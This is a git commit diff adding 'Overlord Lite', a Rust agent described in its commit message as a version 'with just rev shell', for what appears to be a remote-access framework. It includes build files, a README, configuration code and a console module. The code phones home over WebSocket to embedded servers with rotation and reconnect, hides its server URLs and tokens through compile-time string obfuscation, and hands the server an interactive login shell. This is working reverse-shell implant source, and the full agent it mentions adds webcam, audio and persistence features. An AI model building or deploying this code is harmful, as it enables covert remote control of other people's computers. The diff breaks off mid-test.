mess around with a rust agent version with just rev shell.
This commit is contained in:
@@ -22,9 +22,11 @@ Overlord-Desktop/src/vendor/
|
|||||||
Overlord-Desktop/src-tauri/target/
|
Overlord-Desktop/src-tauri/target/
|
||||||
Overlord-Desktop/src-tauri/gen/
|
Overlord-Desktop/src-tauri/gen/
|
||||||
Overlord-Desktop/src-tauri/Cargo.lock
|
Overlord-Desktop/src-tauri/Cargo.lock
|
||||||
|
/Overlord-Lite/target/
|
||||||
|
|
||||||
# Configuration
|
# Configuration
|
||||||
config.json
|
config.json
|
||||||
|
!plugins/rust-lite-builder/config.json
|
||||||
|
|
||||||
# Docker
|
# Docker
|
||||||
.env
|
.env
|
||||||
|
|||||||
Generated
+1260
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,39 @@
|
|||||||
|
[package]
|
||||||
|
name = "overlord-lite"
|
||||||
|
version = "0.3.0"
|
||||||
|
edition = "2024"
|
||||||
|
rust-version = "1.88"
|
||||||
|
license = "Apache-2.0"
|
||||||
|
description = "Minimal Rust agent for authenticated Overlord sessions"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
anyhow = "1.0"
|
||||||
|
base64 = "0.22"
|
||||||
|
ed25519-dalek = { version = "2.2", features = ["rand_core"] }
|
||||||
|
futures-util = "0.3"
|
||||||
|
overlord-lite-string-obfuscator = { path = "string-obfuscator" }
|
||||||
|
portable-pty = "0.9"
|
||||||
|
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||||
|
rmp-serde = "1.3"
|
||||||
|
rmpv = { version = "1.3", features = ["with-serde"] }
|
||||||
|
rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }
|
||||||
|
serde = { version = "1.0", features = ["derive"] }
|
||||||
|
serde_bytes = "0.11"
|
||||||
|
serde_json = "1.0"
|
||||||
|
sha2 = "0.10"
|
||||||
|
tokio = { version = "1.48", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
|
||||||
|
tokio-tungstenite = { version = "0.28", default-features = false, features = ["connect", "handshake", "rustls-tls-webpki-roots"] }
|
||||||
|
uuid = { version = "1.18", features = ["v4", "serde"] }
|
||||||
|
|
||||||
|
[build-dependencies]
|
||||||
|
serde_json = "1.0"
|
||||||
|
|
||||||
|
[dev-dependencies]
|
||||||
|
tempfile = "3.23"
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
strip = true
|
||||||
|
lto = true
|
||||||
|
codegen-units = 1
|
||||||
|
panic = "abort"
|
||||||
|
opt-level = "z"
|
||||||
@@ -0,0 +1,107 @@
|
|||||||
|
# Overlord Lite
|
||||||
|
|
||||||
|
Overlord Lite is a deliberately small Rust agent that proves the Overlord wire
|
||||||
|
protocol works independently of the full Go agent. It supports authenticated
|
||||||
|
server sessions, TLS identity pinning, heartbeats, and reconnection. It does
|
||||||
|
not advertise or execute remote commands beyond its interactive TTY console.
|
||||||
|
|
||||||
|
## Supported
|
||||||
|
|
||||||
|
- Agent-token authentication through `x-agent-token`
|
||||||
|
- TLS 1.3-only encrypted transport, with public-root or pinned self-signed identities
|
||||||
|
- Persistent Ed25519 identity and enrollment challenge signing
|
||||||
|
- MessagePack protocol negotiation
|
||||||
|
- Ping/pong heartbeat and reconnect/server rotation
|
||||||
|
- Interactive TTY console sessions with resize support
|
||||||
|
|
||||||
|
Plugins, desktop, file-manager, audio, webcam, persistence, update,
|
||||||
|
and other full-agent commands are intentionally omitted.
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
Rust 1.88 or newer is required.
|
||||||
|
|
||||||
|
```text
|
||||||
|
cd Overlord-Lite
|
||||||
|
cargo build --release
|
||||||
|
```
|
||||||
|
|
||||||
|
The output is `target/release/overlord-lite` (`overlord-lite.exe` on Windows).
|
||||||
|
The release profile enables size optimization, LTO, symbol stripping, and
|
||||||
|
abort-on-panic.
|
||||||
|
|
||||||
|
String literals that should not appear in plaintext in the executable can use
|
||||||
|
the local `obfstr!` procedural macro:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let header = overlord_lite::obfstr!("x-agent-token");
|
||||||
|
```
|
||||||
|
|
||||||
|
The macro encrypts the literal while compiling and returns a decrypted
|
||||||
|
`String` only when the expression runs. Builder-embedded server URLs, agent
|
||||||
|
tokens, build tags, TLS pins, and advertised Lite command names use it
|
||||||
|
automatically. This is binary obfuscation rather than secret storage: because
|
||||||
|
the executable must decrypt its own values, a determined analyst can still
|
||||||
|
recover them at runtime.
|
||||||
|
|
||||||
|
For Build-page integration, install `plugins/rust-lite-builder/rust-lite-builder.zip`
|
||||||
|
through the Plugin Manager. The Agent Type selector will then offer **Rust
|
||||||
|
Lite** and route selected targets through Cargo while retaining normal build
|
||||||
|
permissions, history, downloads, hooks, and file-share upload behavior. Cargo
|
||||||
|
and the requested Rust targets/linkers must be installed on the server host.
|
||||||
|
|
||||||
|
## Run
|
||||||
|
|
||||||
|
Configure the agent with the same token used by the server:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$env:OVERLORD_SERVER = "wss://overlord.example.com:5173"
|
||||||
|
$env:OVERLORD_AGENT_TOKEN = "your-agent-token"
|
||||||
|
cargo run --release
|
||||||
|
```
|
||||||
|
|
||||||
|
Multiple servers may be comma-separated. Bare hosts default to `wss://`.
|
||||||
|
|
||||||
|
For a local development server using a self-signed certificate:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$env:OVERLORD_SERVER = "wss://localhost:5173"
|
||||||
|
$env:OVERLORD_TLS_INSECURE_SKIP_VERIFY = "true"
|
||||||
|
cargo run
|
||||||
|
```
|
||||||
|
|
||||||
|
Disabling certificate verification also permits plaintext `ws://`. Do not
|
||||||
|
enable it for production deployments.
|
||||||
|
|
||||||
|
Builder-produced binaries automatically embed the server's active TLS SPKI
|
||||||
|
pin, so they securely accept its generated self-signed certificate without the
|
||||||
|
development bypass. For manual builds, `OVERLORD_TLS_SPKI_PINS` accepts one or
|
||||||
|
more comma-separated `sha256/<base64>` public-key pins.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
| Variable | Default | Purpose |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `OVERLORD_SERVER` | `wss://127.0.0.1:5173` | One server, or a comma-separated rotation list |
|
||||||
|
| `OVERLORD_AGENT_TOKEN` | empty | Shared server agent token |
|
||||||
|
| `OVERLORD_BUILD_TAG` | compiled build tag | Runtime override for server build attribution |
|
||||||
|
| `OVERLORD_TLS_SPKI_PINS` | compiled server pins | Comma-separated trusted server public-key pins |
|
||||||
|
| `OVERLORD_TLS_INSECURE_SKIP_VERIFY` | `false` | Development-only TLS bypass |
|
||||||
|
| `OVERLORD_LITE_STATE_DIR` | platform state directory | Persistent client ID and Ed25519 seed |
|
||||||
|
| `OVERLORD_RECONNECT_DELAY_MS` | `5000` | Delay between connection attempts |
|
||||||
|
| `OVERLORD_PING_INTERVAL_MS` | `30000` | Application heartbeat interval |
|
||||||
|
|
||||||
|
The identity file is created once as `identity.json`. Keep it private: deleting
|
||||||
|
it creates a new identity that must enroll again.
|
||||||
|
|
||||||
|
The builder compiles `OVERLORD_LITE_DEFAULT_SERVER`,
|
||||||
|
`OVERLORD_LITE_DEFAULT_AGENT_TOKEN`, and `OVERLORD_LITE_DEFAULT_BUILD_TAG` into
|
||||||
|
the binary along with the server's TLS SPKI pins. Their corresponding runtime
|
||||||
|
variables take precedence, so one binary can still be redirected deliberately
|
||||||
|
after deployment.
|
||||||
|
|
||||||
|
## Protocol compatibility
|
||||||
|
|
||||||
|
`build.rs` reads `../protocol/wire-contract.json` during every build and
|
||||||
|
generates the Lite client's protocol version from the canonical contract. The
|
||||||
|
client advertises only the four version 1 console commands it implements.
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
use std::{env, fs, path::PathBuf};
|
||||||
|
|
||||||
|
use serde_json::Value;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
for name in [
|
||||||
|
"OVERLORD_LITE_DEFAULT_SERVER",
|
||||||
|
"OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
|
||||||
|
"OVERLORD_LITE_DEFAULT_BUILD_TAG",
|
||||||
|
"OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
|
||||||
|
] {
|
||||||
|
println!("cargo:rerun-if-env-changed={name}");
|
||||||
|
}
|
||||||
|
let contract_path = PathBuf::from("../protocol/wire-contract.json");
|
||||||
|
println!("cargo:rerun-if-changed={}", contract_path.display());
|
||||||
|
let contract: Value = serde_json::from_slice(
|
||||||
|
&fs::read(&contract_path).expect("read protocol/wire-contract.json"),
|
||||||
|
)
|
||||||
|
.expect("parse protocol/wire-contract.json");
|
||||||
|
|
||||||
|
let protocol_version = contract["protocolVersion"]
|
||||||
|
.as_u64()
|
||||||
|
.expect("wire contract protocolVersion");
|
||||||
|
let mut generated = format!("pub const WIRE_PROTOCOL_VERSION: u16 = {protocol_version};\n");
|
||||||
|
for (name, env_name) in [
|
||||||
|
("built_default_server", "OVERLORD_LITE_DEFAULT_SERVER"),
|
||||||
|
(
|
||||||
|
"built_default_agent_token",
|
||||||
|
"OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
|
||||||
|
),
|
||||||
|
("built_default_build_tag", "OVERLORD_LITE_DEFAULT_BUILD_TAG"),
|
||||||
|
(
|
||||||
|
"built_default_tls_spki_pins",
|
||||||
|
"OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
|
||||||
|
),
|
||||||
|
] {
|
||||||
|
let value = env::var(env_name).unwrap_or_default();
|
||||||
|
generated.push_str(&format!(
|
||||||
|
"pub fn {name}() -> String {{ crate::obfstr!({value:?}) }}\n"
|
||||||
|
));
|
||||||
|
}
|
||||||
|
let commands = contract["commands"]
|
||||||
|
.as_array()
|
||||||
|
.expect("wire contract commands");
|
||||||
|
let default_version = contract["commandVersioning"]["defaultVersion"]
|
||||||
|
.as_u64()
|
||||||
|
.expect("wire contract default command version");
|
||||||
|
let lite_commands = [
|
||||||
|
"console_input",
|
||||||
|
"console_resize",
|
||||||
|
"console_start",
|
||||||
|
"console_stop",
|
||||||
|
];
|
||||||
|
for command in lite_commands {
|
||||||
|
assert!(
|
||||||
|
commands.iter().any(|value| value.as_str() == Some(command)),
|
||||||
|
"Lite command {command} is missing from the wire contract"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
default_version, 1,
|
||||||
|
"Lite console handlers implement command version 1"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
generated.push_str("pub fn lite_command_version_support() -> [(String, u16, u16); 4] { [\n");
|
||||||
|
for command in lite_commands {
|
||||||
|
generated.push_str(&format!(" (crate::obfstr!({command:?}), 1, 1),\n"));
|
||||||
|
}
|
||||||
|
generated.push_str("] }\n");
|
||||||
|
|
||||||
|
let output = PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR")).join("wire_contract.rs");
|
||||||
|
fs::write(output, generated).expect("write generated Rust wire constants");
|
||||||
|
}
|
||||||
@@ -0,0 +1,234 @@
|
|||||||
|
use std::{env, fmt, path::PathBuf, time::Duration};
|
||||||
|
|
||||||
|
use anyhow::{Context, Result, bail};
|
||||||
|
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||||
|
use tokio_tungstenite::tungstenite::http::Uri;
|
||||||
|
|
||||||
|
use crate::{obfstr, protocol};
|
||||||
|
|
||||||
|
#[derive(Clone, Debug)]
|
||||||
|
pub struct Config {
|
||||||
|
pub servers: Vec<ServerUrl>,
|
||||||
|
pub agent_token: Option<String>,
|
||||||
|
pub build_tag: Option<String>,
|
||||||
|
pub insecure_tls: bool,
|
||||||
|
pub tls_spki_pins: Vec<[u8; 32]>,
|
||||||
|
pub state_dir: PathBuf,
|
||||||
|
pub reconnect_delay: Duration,
|
||||||
|
pub heartbeat_interval: Duration,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone, Debug, Eq, PartialEq)]
|
||||||
|
pub struct ServerUrl {
|
||||||
|
normalized: String,
|
||||||
|
scheme: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ServerUrl {
|
||||||
|
pub fn parse(value: &str) -> Result<Self> {
|
||||||
|
parse_server_url(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn as_str(&self) -> &str {
|
||||||
|
&self.normalized
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn scheme(&self) -> &str {
|
||||||
|
&self.scheme
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for ServerUrl {
|
||||||
|
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
formatter.write_str(&self.normalized)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Config {
|
||||||
|
pub fn from_env() -> Result<Self> {
|
||||||
|
let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| {
|
||||||
|
let built_default = protocol::built_default_server();
|
||||||
|
if built_default.is_empty() {
|
||||||
|
obfstr!("wss://127.0.0.1:5173")
|
||||||
|
} else {
|
||||||
|
built_default
|
||||||
|
}
|
||||||
|
});
|
||||||
|
let servers = raw_servers
|
||||||
|
.split(',')
|
||||||
|
.map(str::trim)
|
||||||
|
.filter(|value| !value.is_empty())
|
||||||
|
.map(parse_server_url)
|
||||||
|
.collect::<Result<Vec<_>>>()?;
|
||||||
|
if servers.is_empty() {
|
||||||
|
bail!("OVERLORD_SERVER did not contain a server URL");
|
||||||
|
}
|
||||||
|
|
||||||
|
let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY"));
|
||||||
|
let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS"))
|
||||||
|
.ok()
|
||||||
|
.filter(|value| !value.trim().is_empty())
|
||||||
|
.unwrap_or_else(protocol::built_default_tls_spki_pins);
|
||||||
|
let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?;
|
||||||
|
if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls {
|
||||||
|
bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true");
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(Self {
|
||||||
|
servers,
|
||||||
|
agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN"))
|
||||||
|
.ok()
|
||||||
|
.or_else(|| Some(protocol::built_default_agent_token()))
|
||||||
|
.filter(|value| !value.trim().is_empty()),
|
||||||
|
build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG"))
|
||||||
|
.ok()
|
||||||
|
.or_else(|| Some(protocol::built_default_build_tag()))
|
||||||
|
.filter(|value| !value.trim().is_empty()),
|
||||||
|
insecure_tls,
|
||||||
|
tls_spki_pins,
|
||||||
|
state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR"))
|
||||||
|
.map(PathBuf::from)
|
||||||
|
.unwrap_or_else(default_state_dir),
|
||||||
|
reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000),
|
||||||
|
heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_tls_spki_pins(value: &str) -> Result<Vec<[u8; 32]>> {
|
||||||
|
value
|
||||||
|
.split(',')
|
||||||
|
.map(str::trim)
|
||||||
|
.filter(|pin| !pin.is_empty())
|
||||||
|
.map(|pin| {
|
||||||
|
let prefix = obfstr!("sha256/");
|
||||||
|
let encoded = pin.strip_prefix(&prefix).unwrap_or(pin);
|
||||||
|
let decoded = STANDARD
|
||||||
|
.decode(encoded)
|
||||||
|
.with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?;
|
||||||
|
decoded
|
||||||
|
.try_into()
|
||||||
|
.map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes"))
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_server_url(value: &str) -> Result<ServerUrl> {
|
||||||
|
let separator = obfstr!("://");
|
||||||
|
let with_scheme = if value.contains(&separator) {
|
||||||
|
value.to_owned()
|
||||||
|
} else {
|
||||||
|
let mut server = obfstr!("wss://");
|
||||||
|
server.push_str(value);
|
||||||
|
server
|
||||||
|
};
|
||||||
|
let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme);
|
||||||
|
let uri: Uri = without_fragment
|
||||||
|
.parse()
|
||||||
|
.with_context(|| format!("invalid server URL {value:?}"))?;
|
||||||
|
let input_scheme = uri
|
||||||
|
.scheme_str()
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?;
|
||||||
|
let scheme = if input_scheme == obfstr!("https") {
|
||||||
|
obfstr!("wss")
|
||||||
|
} else if input_scheme == obfstr!("http") {
|
||||||
|
obfstr!("ws")
|
||||||
|
} else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") {
|
||||||
|
input_scheme.to_owned()
|
||||||
|
} else {
|
||||||
|
bail!("unsupported server URL scheme {input_scheme:?}");
|
||||||
|
};
|
||||||
|
let authority = uri
|
||||||
|
.authority()
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?;
|
||||||
|
if authority.host().is_empty() || authority.as_str().contains('@') {
|
||||||
|
bail!("server URL has an invalid host");
|
||||||
|
}
|
||||||
|
Ok(ServerUrl {
|
||||||
|
normalized: format!("{scheme}://{authority}/"),
|
||||||
|
scheme,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn env_bool(name: &str) -> bool {
|
||||||
|
env::var(name)
|
||||||
|
.map(|value| {
|
||||||
|
let normalized = value.trim().to_ascii_lowercase();
|
||||||
|
normalized == obfstr!("1")
|
||||||
|
|| normalized == obfstr!("true")
|
||||||
|
|| normalized == obfstr!("yes")
|
||||||
|
|| normalized == obfstr!("on")
|
||||||
|
})
|
||||||
|
.unwrap_or(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn env_duration(name: &str, default_ms: u64) -> Duration {
|
||||||
|
let ms = env::var(name)
|
||||||
|
.ok()
|
||||||
|
.and_then(|value| value.trim().parse::<u64>().ok())
|
||||||
|
.unwrap_or(default_ms);
|
||||||
|
Duration::from_millis(ms)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn default_state_dir() -> PathBuf {
|
||||||
|
#[cfg(target_os = "windows")]
|
||||||
|
if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) {
|
||||||
|
return PathBuf::from(root)
|
||||||
|
.join(obfstr!("Overlord"))
|
||||||
|
.join(obfstr!("Lite"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
if let Some(root) = env::var_os(obfstr!("HOME")) {
|
||||||
|
return PathBuf::from(root)
|
||||||
|
.join(obfstr!("Library"))
|
||||||
|
.join(obfstr!("Application Support"))
|
||||||
|
.join(obfstr!("Overlord Lite"));
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) {
|
||||||
|
return PathBuf::from(root).join(obfstr!("overlord-lite"));
|
||||||
|
}
|
||||||
|
if let Some(root) = env::var_os(obfstr!("HOME")) {
|
||||||
|
return PathBuf::from(root)
|
||||||
|
.join(obfstr!(".local"))
|
||||||
|
.join(obfstr!("state"))
|
||||||
|
.join(obfstr!("overlord-lite"));
|
||||||
|
}
|
||||||
|
PathBuf::from(obfstr!(".overlord-lite"))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn normalizes_server_urls() {
|
||||||
|
assert_eq!(
|
||||||
|
ServerUrl::parse("example.com:5173").unwrap().as_str(),
|
||||||
|
"wss://example.com:5173/"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
ServerUrl::parse("https://example.com/base")
|
||||||
|
.unwrap()
|
||||||
|
.as_str(),
|
||||||
|
"wss://example.com/"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment")
|
||||||
|
.unwrap()
|
||||||
|
.as_str(),
|
||||||
|
"ws://[::1]:5173/"
|
||||||
|
);
|
||||||
|
assert!(ServerUrl::parse("ftp://example.com").is_err());
|
||||||
|
assert!(ServerUrl::parse("wss://user@example.com").is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parses_prefixed_and_plain_spki_pins() {
|
||||||
|
let encoded = STANDARD.encode([0x42; 32]);
|
||||||
|
let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap();
|
||||||
|
assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]);
|
||||||
|
assert!(parse_tls_spki_pins("not-a-pin").is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,283 @@
|
|||||||
|
use std::{
|
||||||
|
collections::HashMap,
|
||||||
|
env,
|
||||||
|
io::{Read, Write},
|
||||||
|
sync::LazyLock,
|
||||||
|
thread,
|
||||||
|
};
|
||||||
|
|
||||||
|
use anyhow::{Context, Result, anyhow, bail};
|
||||||
|
use portable_pty::{ChildKiller, CommandBuilder, MasterPty, PtySize, native_pty_system};
|
||||||
|
use tokio::sync::mpsc::Sender;
|
||||||
|
|
||||||
|
use crate::obfstr;
|
||||||
|
use crate::protocol::{self, ConsoleOutput};
|
||||||
|
|
||||||
|
const DEFAULT_COLS: u16 = 120;
|
||||||
|
const DEFAULT_ROWS: u16 = 36;
|
||||||
|
const MAX_DIMENSION: u16 = 1_000;
|
||||||
|
static CONSOLE_OUTPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_output"));
|
||||||
|
|
||||||
|
struct ConsoleSession {
|
||||||
|
master: Box<dyn MasterPty + Send>,
|
||||||
|
writer: Box<dyn Write + Send>,
|
||||||
|
killer: Box<dyn ChildKiller + Send + Sync>,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ConsoleHub {
|
||||||
|
sessions: HashMap<String, ConsoleSession>,
|
||||||
|
outbound: Sender<Vec<u8>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ConsoleHub {
|
||||||
|
pub fn new(outbound: Sender<Vec<u8>>) -> Self {
|
||||||
|
Self {
|
||||||
|
sessions: HashMap::new(),
|
||||||
|
outbound,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn start(&mut self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
|
||||||
|
validate_session_id(session_id)?;
|
||||||
|
self.stop(session_id);
|
||||||
|
|
||||||
|
let size = terminal_size(cols, rows);
|
||||||
|
let pair = native_pty_system().openpty(size).context("open terminal")?;
|
||||||
|
let mut command = shell_command();
|
||||||
|
command.env(obfstr!("TERM"), obfstr!("xterm-256color"));
|
||||||
|
let child = pair
|
||||||
|
.slave
|
||||||
|
.spawn_command(command)
|
||||||
|
.context("start terminal shell")?;
|
||||||
|
drop(pair.slave);
|
||||||
|
|
||||||
|
let reader = pair
|
||||||
|
.master
|
||||||
|
.try_clone_reader()
|
||||||
|
.context("open terminal output")?;
|
||||||
|
let writer = pair.master.take_writer().context("open terminal input")?;
|
||||||
|
let killer = child.clone_killer();
|
||||||
|
|
||||||
|
spawn_output_forwarder(session_id.to_owned(), reader, child, self.outbound.clone());
|
||||||
|
self.sessions.insert(
|
||||||
|
session_id.to_owned(),
|
||||||
|
ConsoleSession {
|
||||||
|
master: pair.master,
|
||||||
|
writer,
|
||||||
|
killer,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn write(&mut self, session_id: &str, data: &str) -> Result<()> {
|
||||||
|
let session = self
|
||||||
|
.sessions
|
||||||
|
.get_mut(session_id)
|
||||||
|
.ok_or_else(|| anyhow!("console session not found"))?;
|
||||||
|
session
|
||||||
|
.writer
|
||||||
|
.write_all(data.as_bytes())
|
||||||
|
.context("write terminal input")?;
|
||||||
|
session.writer.flush().context("flush terminal input")
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn resize(&self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
|
||||||
|
let session = self
|
||||||
|
.sessions
|
||||||
|
.get(session_id)
|
||||||
|
.ok_or_else(|| anyhow!("console session not found"))?;
|
||||||
|
session
|
||||||
|
.master
|
||||||
|
.resize(terminal_size(cols, rows))
|
||||||
|
.context("resize terminal")
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn stop(&mut self, session_id: &str) {
|
||||||
|
if let Some(mut session) = self.sessions.remove(session_id) {
|
||||||
|
let _ = session.killer.kill();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn stop_all(&mut self) {
|
||||||
|
for (_, mut session) in self.sessions.drain() {
|
||||||
|
let _ = session.killer.kill();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for ConsoleHub {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
self.stop_all();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn spawn_output_forwarder(
|
||||||
|
session_id: String,
|
||||||
|
mut reader: Box<dyn Read + Send>,
|
||||||
|
mut child: Box<dyn portable_pty::Child + Send + Sync>,
|
||||||
|
outbound: Sender<Vec<u8>>,
|
||||||
|
) {
|
||||||
|
thread::spawn(move || {
|
||||||
|
let mut buffer = [0u8; 4096];
|
||||||
|
loop {
|
||||||
|
match reader.read(&mut buffer) {
|
||||||
|
Ok(0) => break,
|
||||||
|
Ok(size) => send_output(&outbound, &session_id, Some(&buffer[..size]), None, None),
|
||||||
|
Err(error) => {
|
||||||
|
send_output(&outbound, &session_id, None, None, Some(&error.to_string()));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
match child.wait() {
|
||||||
|
Ok(status) => send_output(
|
||||||
|
&outbound,
|
||||||
|
&session_id,
|
||||||
|
None,
|
||||||
|
Some(i32::try_from(status.exit_code()).unwrap_or(i32::MAX)),
|
||||||
|
None,
|
||||||
|
),
|
||||||
|
Err(error) => send_output(&outbound, &session_id, None, None, Some(&error.to_string())),
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
fn send_output(
|
||||||
|
outbound: &Sender<Vec<u8>>,
|
||||||
|
session_id: &str,
|
||||||
|
data: Option<&[u8]>,
|
||||||
|
exit_code: Option<i32>,
|
||||||
|
error: Option<&str>,
|
||||||
|
) {
|
||||||
|
let message = ConsoleOutput {
|
||||||
|
message_type: CONSOLE_OUTPUT.as_str(),
|
||||||
|
session_id,
|
||||||
|
data: data.map(serde_bytes::Bytes::new),
|
||||||
|
exit_code,
|
||||||
|
error,
|
||||||
|
};
|
||||||
|
if let Ok(encoded) = protocol::encode(&message) {
|
||||||
|
let _ = outbound.blocking_send(encoded);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn shell_command() -> CommandBuilder {
|
||||||
|
if cfg!(windows) {
|
||||||
|
return CommandBuilder::new(
|
||||||
|
env::var_os(obfstr!("COMSPEC")).unwrap_or_else(|| obfstr!("cmd.exe").into()),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let shell = env::var_os(obfstr!("SHELL")).unwrap_or_else(|| {
|
||||||
|
if cfg!(target_os = "macos") {
|
||||||
|
obfstr!("/bin/zsh").into()
|
||||||
|
} else {
|
||||||
|
obfstr!("/bin/bash").into()
|
||||||
|
}
|
||||||
|
});
|
||||||
|
let mut command = CommandBuilder::new(shell);
|
||||||
|
command.arg(obfstr!("-l"));
|
||||||
|
command
|
||||||
|
}
|
||||||
|
|
||||||
|
fn validate_session_id(session_id: &str) -> Result<()> {
|
||||||
|
if session_id.is_empty() {
|
||||||
|
bail!("missing console session id");
|
||||||
|
}
|
||||||
|
if session_id.len() > 128 {
|
||||||
|
bail!("console session id is too long");
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn terminal_size(cols: i64, rows: i64) -> PtySize {
|
||||||
|
PtySize {
|
||||||
|
cols: dimension(cols, DEFAULT_COLS),
|
||||||
|
rows: dimension(rows, DEFAULT_ROWS),
|
||||||
|
pixel_width: 0,
|
||||||
|
pixel_height: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn dimension(value: i64, default: u16) -> u16 {
|
||||||
|
if value <= 0 {
|
||||||
|
default
|
||||||
|
} else {
|
||||||
|
u16::try_from(value)
|
||||||
|
.unwrap_or(MAX_DIMENSION)
|
||||||
|
.min(MAX_DIMENSION)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn terminal_dimensions_are_defaulted_and_bounded() {
|
||||||
|
assert_eq!(
|
||||||
|
terminal_size(0, -1),
|
||||||
|
PtySize {
|
||||||
|
cols: 120,
|
||||||
|
rows: 36,
|
||||||
|
pixel_width: 0,
|
||||||
|
pixel_height: 0
|
||||||
|
}
|
||||||
|
);
|
||||||
|
assert_eq!(terminal_size(2_000, 50).cols, 1_000);
|
||||||
|
assert_eq!(terminal_size(80, 50).rows, 50);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn session_ids_are_required_and_bounded() {
|
||||||
|
assert!(validate_session_id("").is_err());
|
||||||
|
